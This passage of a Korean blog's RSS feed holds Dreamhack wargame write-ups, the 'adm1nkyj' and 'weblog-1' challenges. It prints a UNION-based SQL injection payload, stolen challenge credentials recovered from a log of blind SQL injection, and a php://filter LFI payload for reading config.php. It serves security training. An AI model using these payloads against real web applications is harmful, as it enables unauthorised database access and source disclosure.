왔을 때 &lt;/span&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;값을 받을 수 있었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url인코딩 전 코드는 이렇다.&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;541426&quot;&gt;
&lt;pre id=&quot;code_1674543871389&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?id=' union select 1,a,3,4,5 from (select 1,2,3,4 as a,5 union select * from findflag_2 limit 1,1) as a %23  |
?id=%27%20union%20select%201,a,3,4,5%20from%20(select%201,2,3,4%20as%20a,5%20union%20select%20*%20from%20findflag_2%20limit%201,1)%20as%20a%20%23&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;89&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQuq1g/btrWSvRmUGQ/3MIzoMaDqPpF1BHKJpy0kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQuq1g/btrWSvRmUGQ/3MIzoMaDqPpF1BHKJpy0kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQuq1g/btrWSvRmUGQ/3MIzoMaDqPpF1BHKJpy0kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQuq1g%2FbtrWSvRmUGQ%2F3MIzoMaDqPpF1BHKJpy0kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;102&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;89&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;pw, flag&lt;/span&gt;&lt;span&gt;를 얻었으니 그대로 보내보자&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그런데 그대로 입력해서 보내면 아무것도 출력해주지 않는다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;왜일까 생각을 해보니 &lt;/span&gt;&lt;span&gt;pw&lt;/span&gt;&lt;span&gt;에 &lt;/span&gt;&lt;span&gt;!#$&lt;/span&gt;&lt;span&gt;가 포함된다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;인식시키기 위해서 &lt;/span&gt;&lt;span&gt;!#$&lt;/span&gt;&lt;span&gt;을 &lt;/span&gt;&lt;span&gt;url &lt;/span&gt;&lt;span&gt;인코딩하고 &lt;/span&gt;&lt;span&gt;pw&lt;/span&gt;&lt;span&gt;에 넣으면 아래와 같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;430063&quot;&gt;
&lt;pre id=&quot;code_1674543922211&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?id=adm1ngnngn&amp;amp;pw=%21@SA%23%24%21&amp;amp;flag=N4wxpthJf7GmHXQ9oBZTvCdu5e3DnIUVl2biLsKgEYMrO8j0RFWaPSkcAy16zq&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;111&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DtJ08/btrW6qGZp6G/oVtpHWChiFoVlkQtWDqHn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DtJ08/btrW6qGZp6G/oVtpHWChiFoVlkQtWDqHn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DtJ08/btrW6qGZp6G/oVtpHWChiFoVlkQtWDqHn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDtJ08%2FbtrW6qGZp6G%2FoVtpHWChiFoVlkQtWDqHn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;111&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;111&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag값을 획득했다.&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>adm1nkyj</category>
      <category>dreamhack</category>
      <category>dreamhack adm1nkyj</category>
      <category>wargame</category>
      <category>드림핵</category>
      <category>드림핵 adm1nkyj</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/86</guid>
      <comments>https://godturtle.tistory.com/86#entry86comment</comments>
      <pubDate>Tue, 24 Jan 2023 16:07:20 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] weblog-1</title>
      <link>https://godturtle.tistory.com/85</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;weblog-1&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(이번 글은 사진이 작을 수 있으니 클릭해서 확인하세요!)&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;36817&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVP18x/btrWVKlYD3H/mxaLYt5t8ugKbr2HsAD3b1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVP18x/btrWVKlYD3H/mxaLYt5t8ugKbr2HsAD3b1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVP18x/btrWVKlYD3H/mxaLYt5t8ugKbr2HsAD3b1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVP18x%2FbtrWVKlYD3H%2FmxaLYt5t8ugKbr2HsAD3b1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;261&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;초기 화면이다&lt;/span&gt;&lt;span&gt;. 5&lt;/span&gt;&lt;span&gt;문제를 풀어야 &lt;/span&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;를 주는 것 같다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;우선 &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span&gt;계정의 &lt;/span&gt;&lt;span&gt;Pw&lt;/span&gt;&lt;span&gt;를 찾기위해 &lt;/span&gt;&lt;span&gt;access.txt&lt;/span&gt;&lt;span&gt;을 열어봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;232&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DULHP/btrWSvb1sDD/lBDQR1KYBGsY7H6MoPXYC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DULHP/btrWSvb1sDD/lBDQR1KYBGsY7H6MoPXYC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DULHP/btrWSvb1sDD/lBDQR1KYBGsY7H6MoPXYC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDULHP%2FbtrWSvb1sDD%2FlBDQR1KYBGsY7H6MoPXYC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;232&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;232&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;정렬은 되어 있지만 보기 너무 힘들어서 &lt;/span&gt;&lt;span&gt;Excel&lt;/span&gt;&lt;span&gt;로 공백을 기준으로 나눈 뒤 의미 없는 열을 지운 뒤 분석했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;파일을 빠르게 내리면서 보니 초반과 다르게 의심스러운 부분이 있었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5803&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vhWjs/btrWWtqRC18/GrJzblKVOsvTOBex9mWyWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vhWjs/btrWWtqRC18/GrJzblKVOsvTOBex9mWyWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vhWjs/btrWWtqRC18/GrJzblKVOsvTOBex9mWyWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvhWjs%2FbtrWWtqRC18%2FGrJzblKVOsvTOBex9mWyWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;238&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;자세히 보면 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;초마다 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;개씩일 때도 있지만 많으면 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;초에 &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;번씩 &lt;/span&gt;&lt;span&gt;board.php&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;sort&lt;/span&gt;&lt;span&gt;파라미터에 &lt;/span&gt;&lt;span&gt;32,33,34~ &lt;/span&gt;&lt;span&gt;와 같이 &lt;/span&gt;&lt;span&gt;SQL Injection &lt;/span&gt;&lt;span&gt;의심 쿼리를 확인할 수 있었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;분명 &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span&gt;과 &lt;/span&gt;&lt;span&gt;pasword&lt;/span&gt;&lt;span&gt;를 탈취하기 위한 쿼리문도 있을 것이니 더 내려봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;870699&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;28&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWZ0Eb/btrWRDn33lB/RJzk0cdKpukVMANoAF7brk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWZ0Eb/btrWRDn33lB/RJzk0cdKpukVMANoAF7brk/img.png&quot; data-alt=&quot;클릭해서보세요&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWZ0Eb/btrWRDn33lB/RJzk0cdKpukVMANoAF7brk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWZ0Eb%2FbtrWRDn33lB%2FRJzk0cdKpukVMANoAF7brk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;28&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;28&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;클릭해서보세요&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;(TABLE_NAME, COLUMN_NAME &lt;/span&gt;&lt;span&gt;등 응답 패킷을 기준으로 다 찾았으나 우린 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;만 알면 되기에 이곳엔 작성하지 않음&lt;/span&gt;&lt;span&gt;.)&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rlzAd/btrWRj4u4KJ/KSBA7cDEP2DH0CzQqf8LUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rlzAd/btrWRj4u4KJ/KSBA7cDEP2DH0CzQqf8LUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rlzAd/btrWRj4u4KJ/KSBA7cDEP2DH0CzQqf8LUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrlzAd%2FbtrWRj4u4KJ%2FKSBA7cDEP2DH0CzQqf8LUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;109&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;272841&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이때부터 &lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span&gt;과 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;가 등장한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;board.php&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;(username+0x3a+password)&lt;/span&gt;&lt;span&gt;와 같은 방식으로 &lt;/span&gt;&lt;span&gt;32, 33 ~ 1&lt;/span&gt;&lt;span&gt;씩 올리며 문자열을 맞추는 식으로 &lt;/span&gt;&lt;span&gt;sql&lt;/span&gt;&lt;span&gt;쿼리를 보낸다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;분석을 하다 보면 응답 패킷의 길이를 기준으로 쿼리가 참일 때 길이가 &lt;/span&gt;&lt;span&gt;1192&lt;/span&gt;&lt;span&gt;이고 거짓일 때 길이는 &lt;/span&gt;&lt;span&gt;841&lt;/span&gt;&lt;span&gt;인 것을 확인할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5925&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KajHb/btrWS2nfH22/VpRJ5cXgYATCZwcRdlniJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KajHb/btrWS2nfH22/VpRJ5cXgYATCZwcRdlniJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KajHb/btrWS2nfH22/VpRJ5cXgYATCZwcRdlniJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKajHb%2FbtrWS2nfH22%2FVpRJ5cXgYATCZwcRdlniJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;73&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;919735&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;483938&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그렇다면 쿼리문에 &lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span&gt;과 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;가 들어가고 응답 패킷 길이가 &lt;/span&gt;&lt;span&gt;1192&lt;/span&gt;&lt;span&gt;인 것을 기준으로 보면 아래와 같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DHrhR/btrWU6CGxIk/ULSnK0hODFiKT2Ytq6KFO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DHrhR/btrWU6CGxIk/ULSnK0hODFiKT2Ytq6KFO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DHrhR/btrWU6CGxIk/ULSnK0hODFiKT2Ytq6KFO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDHrhR%2FbtrWU6CGxIk%2FULSnK0hODFiKT2Ytq6KFO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;279&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;666072&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;아스키코드 값들을 순서대로 모두 모아보면&lt;/span&gt;&lt;span&gt;97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116 &lt;/span&gt;&lt;span&gt;이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;변환하면&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;6004&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/du4wtH/btrWRj4u7e3/9YEPunuHsNn0oWV8JkxFe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/du4wtH/btrWRj4u7e3/9YEPunuHsNn0oWV8JkxFe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/du4wtH/btrWRj4u7e3/9YEPunuHsNn0oWV8JkxFe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdu4wtH%2FbtrWRj4u7e3%2F9YEPunuHsNn0oWV8JkxFe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;371&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;1154362&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;admin:Th1s_1s_Adm1n_P@SS, guest:guest&lt;/span&gt;&lt;span&gt;임을 알 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;값을 넣어보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/85dxf/btrWR7PPlrn/mGljSOh4EFFgSk7Gyos0PK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/85dxf/btrWR7PPlrn/mGljSOh4EFFgSk7Gyos0PK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/85dxf/btrWR7PPlrn/mGljSOh4EFFgSk7Gyos0PK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F85dxf%2FbtrWR7PPlrn%2FmGljSOh4EFFgSk7Gyos0PK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;230&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;다음 문제&lt;/span&gt;&lt;span&gt;! config.php&lt;/span&gt;&lt;span&gt;코드를 추출하는데 사용한 페이로드를 찾으면 된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5426&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDf9dW/btrWX45qkx8/FXQjJxYGLZmQ1fzyKE1wi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDf9dW/btrWX45qkx8/FXQjJxYGLZmQ1fzyKE1wi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDf9dW/btrWX45qkx8/FXQjJxYGLZmQ1fzyKE1wi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDf9dW%2FbtrWX45qkx8%2FFXQjJxYGLZmQ1fzyKE1wi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;199&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;누가 봐도 맨 아래 페이로드가 가장 의심스럽다&lt;/span&gt;&lt;span&gt;.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;page=php://filter/convert.base64-encode/resource=../config.php&lt;/span&gt;&lt;span&gt;부터 넣었는데 틀렸다길래 &lt;/span&gt;&lt;span&gt;php://filter/convert.base64-encode/resource=../config.php &lt;/span&gt;&lt;span&gt;넣었더니 다음으로 넘어갔다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5847&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lPDFo/btrWRAdRIpb/i8ZUSz42VOkYOH2xINf0R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lPDFo/btrWRAdRIpb/i8ZUSz42VOkYOH2xINf0R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lPDFo/btrWRAdRIpb/i8ZUSz42VOkYOH2xINf0R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlPDFo%2FbtrWRAdRIpb%2Fi8ZUSz42VOkYOH2xINf0R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;151&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;LFI &lt;/span&gt;&lt;span&gt;취약점을 통해 코드 실행이니 웹쉘이 먼저 생각났다&lt;/span&gt;&lt;span&gt;. /admin/?page=&lt;/span&gt;&lt;span&gt;를 필터로 걸어 확인해봤다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
